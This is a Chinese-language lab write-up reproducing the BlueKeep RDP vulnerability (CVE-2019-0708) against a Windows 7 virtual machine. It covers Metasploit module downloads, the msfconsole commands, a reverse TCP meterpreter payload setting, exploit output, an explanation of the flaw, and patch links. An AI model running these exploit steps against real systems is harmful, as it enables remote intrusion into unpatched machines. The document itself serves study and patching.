CVE20190708复现

一、实验环境
基于虚拟机运行(VMware)
(1)靶机(ip:192.168.8.*):
CVE20190708复现_第1张图片
(2)测试机(192.168.8.#):
CVE20190708复现_第2张图片
(3)将两个虚拟机设置于同一个网段中
a.在虚拟网络编辑器中,将VMnet0采用桥接模式,并桥接到网线网上
CVE20190708复现_第3张图片
b.设置win7为动态获取ip
CVE20190708复现_第4张图片
c.打开/etc/network/interfaces文件,做如下修改,并保存,重启kali
CVE20190708复现_第5张图片
eth0接口会在系统启动时被自动配置,以DHCP方式配置网卡.
d.两台主机互ping
win7
CVE20190708复现_第6张图片
kaliCVE20190708复现_第7张图片
互ping测试(关掉防火墙)

CVE20190708复现_第8张图片
测试可以ping通,现在测试机和靶机在同一网段了。
(3)将靶机的相应端口打开
CVE20190708复现_第9张图片
在防火墙中更改入站设置,同时关闭防火墙,打开3389端口
CVE20190708复现_第10张图片
观察可知,3389端口已打开
CVE20190708复现_第11张图片
二、攻击准备(kali中操作)
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。

进入框架:msfconsole
使用search命令查找相关漏洞: search ms17-010
使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue
使用info查看模块信息: info
设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
查看模块需要配置的参数:show options
设置参数:set RHOST 192.168.125.138
攻击:exploit / run

(1)更新kali msf

apt-get update
apt-get  install metasploit-framework

(2)下载利用脚本

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

(3)移动到对应的目录

mv rdp.rb  /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb
mv rdp_scanner.rb  /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
mv cve_2019_0708_bluekeep.rb   /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
mv cve_2019_0708_bluekeep_rce.rb   /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

将我需要利用的漏洞载入相关的攻击模块中

(注意:/usr/share/metasploit-framework/modules/exploits/windows/下面不一定存在rdp目录,不存在时手动创建)
(4)开始攻击

msfconsole --进入msf
reload_all --重新载入所有的模块
search cve_2019_0708
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.8.*** --设置靶机ip
set target 3 --3代表目标机器架构为VMware、2代表目标架构是virtulbox
exploit --开始攻击
Kali中的执行过程

root@debian:~# msfconsole
[-] ***rting the Metasploit Framework console...|
[-] * WARNING: No database support: No database YAML file
[-] ***
                                                  

                        


       =[ metasploit v5.0.53-dev                          ]
+ -- --=[ 1931 exploits - 1079 auxiliary - 331 post       ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > reload_all
[*] Reloading modules from all module paths...

             

       =[ metasploit v5.0.53-dev                          ]
+ -- --=[ 1931 exploits - 1079 auxiliary - 331 post       ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > search cve_2019_0708

Matching Modules
================

   #  Name                                            Disclosure Date  Rank    Check  Description
   -  ----                                            ---------------  ----    -----  -----------
   0  auxiliary/scanner/rdp/cve_2019_0708_bluekeep    2019-05-14       normal  Yes    CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
   1  exploit/windows/rdp/cve_2019_0708_bluekeep_rce  2019-05-14       manual  Yes    CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free


msf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce  (使用漏洞)
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 192.168.8.*  (设置靶机的ip)
rhosts => 192.168.8.*
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 3
target => 3    (在VMware上攻击)
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

[*] Started reverse TCP handler on 192.168.8.#:4444     4444开始反向TCP处理程序
[*] 192.168.8.*:3389    - Detected RDP on 192.168.8.*:3389  ## 在192.168.8.*:3389上检测到RDP (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.8.*:3389    - The target is vulnerable.(可以攻击)
[*] 192.168.8.*:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8028600000, Channel count 1.
[*] 192.168.8.*:3389 - Surfing channels ...
[*] 192.168.8.*:3389 - Lobbing eggs ...
[*] 192.168.8.*:3389 - Forcing the USE of FREE'd object ...
[*] Exploit completed, but no session was created.

攻击效果:

CVE20190708复现_第12张图片

三、原理分析
1.漏洞原理
远程桌面协议(RDP)支持客户端和服务器之间的连接,并且以虚拟信道的形式定义了它们之间通信的数据。虚拟信道是双向数据管道,可以针对RDP实现扩展。 Windows Server 2000使用RDP 5.1定义了32个静态虚拟信道(Static Virtual Channel, SVC),由于信道数量的限制,进一步定义了动态虚拟信道(Dynamic Virtual Channel, DVC),这些信道包含在专用SVC中。 SVC在会话开始时创建并保持到会话终止,而DVC将会根据是否需要确定是否创建和抛弃。
a.如下图所示: RDP连接序列在信道安全属性设置之前就进行了连接和设置,这为CVE-2019-0708的创建和传播提供了条件。
CVE20190708复现_第13张图片
如上图所示,RDP Security Commencement在Channel Connection之后

b.漏洞流量分析: “MS_T120”这个SVC名称在RDP协议的GCC Conference初始化序列时被绑定为数字31的参考信道。此信道名称由Microsoft内部使用,在客户端没有明显的、合法的使用以“MS_T120”命名的SVC来发起请求进行连接的用例,然而,在GCC Conference初始化期间,攻击者可以在31之外的信道上设置另一个名为”MS_T120”的SVC,这种行为将会导致堆内存破坏,最终可以实现远程代码执行。
详细原理可参考一个大佬写的原理:
https://www.codercto.com/a/83475.html

2.漏洞修补
目前受影响Windows版本

Microsoft Windows XP 

Microsoft Windows Server 2008 R2 for x64-based Systems SP1

Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1

Microsoft Windows Server 2008 for x64-based Systems SP2

Microsoft Windows Server 2008 for Itanium-based Systems SP2

Microsoft Windows Server 2008 for 32-bit Systems SP2

Microsoft Windows Server 2003 

Microsoft Windows 7 for x64-based Systems SP1

Microsoft Windows 7 for 32-bit Systems SP1

解决方案
修复建议:
(1)及时安装微软发布的安全更新补丁:
Microsoft官方已经在 2019年5月14日修复了该漏洞,用户可以通过安装微软的安全更新来给系统打上安全补丁,下载地址为:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708
同时针对已不受微软更新支持的系统Windows Server 2003和Windows XP提供的安全更新,下载地址:https://support.microsoft.com/zh-cn/help/4500705/customer-guidance-for-cve-2019-0708

实验体会:在实验复现的环节你可能会遇到各种的无解问题,在此过程中需要你一步步的耐心摸索,我也是加了很多个班才搞出来的,在实验中,切记要连在同一个网段内,注意攻击模块的更新,以及VM的版本。只要坚持,搞出来是不成问题的!

你可能感兴趣的:(网络)